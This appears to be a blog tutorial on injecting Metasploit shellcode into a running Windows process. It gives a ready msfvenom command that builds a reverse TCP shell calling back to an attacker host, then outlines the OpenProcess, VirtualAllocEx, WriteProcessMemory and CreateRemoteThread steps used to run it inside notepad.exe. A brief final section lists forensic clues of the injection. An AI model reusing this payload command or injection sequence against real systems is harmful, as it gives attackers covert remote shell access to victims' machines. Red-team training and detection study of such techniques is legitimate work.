Code Injection is a process to inject code into another running process.
In this article, We are gonna focus on injecting shellcode using CreateRemoteThread API.
Generating Shellcode
First off, Let's use Metasploit to generate our malicious shellcode. It's a reverse tcp shell.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.3 LPORT=3333 -f c -b \x00\x0a\x0d
Executing Shellcode
Now our C++ code to inject and execute this shellcode into a process by following steps:
First, we need to open our target process, using OpenProcess API with the parameter PROCESS_ALL_ACCESS which gain all possible access rights for a process object.
Then we will use VirtualAllocEx API, which allocates a region of memory within the virtual address space of a target process equal to our size of shellcode. We use the MEM_RESERVE and MEM_COMMIT parameters for memory allocation type and PAGE_EXECUTE_READWRITE for memory protection of the pages.
Write the shellcode data to the allocated memory area in the target process using the WriteProcessMemory API.
Lastly, create a new thread in the virtual address space of the target process with the CreateRemoteThread API to execute the injected shellcode.
Then, we will run our exe with the process ID of our target process in which we want to inject our shellcode. For this scenario we are taking the notepad.exe:
We can see that the process ID of notepad.exe is 6392. Now, on running our executable.
ShellcodeInj.exe 6392
We received the reverse shell on our Netcat listener and have remote access to our target system.
We can see ShellcodeInj.exe created a new process cmd.exe under notepad.exe
Analysing the injected Process
Upon further analysis of notepad.exe, we can see the ws2_32.dll module loaded in the module section, which is typically not loaded under normal circumstances for notepad. This module handles socket management, indicating potential abnormal activity within the process.
Also on checking the memory tab, we can see, the ws2_32.dll loaded, and having the read and execute permission set for it.
Hence, we successfully injected the shellcode in target process. That's all for this blog.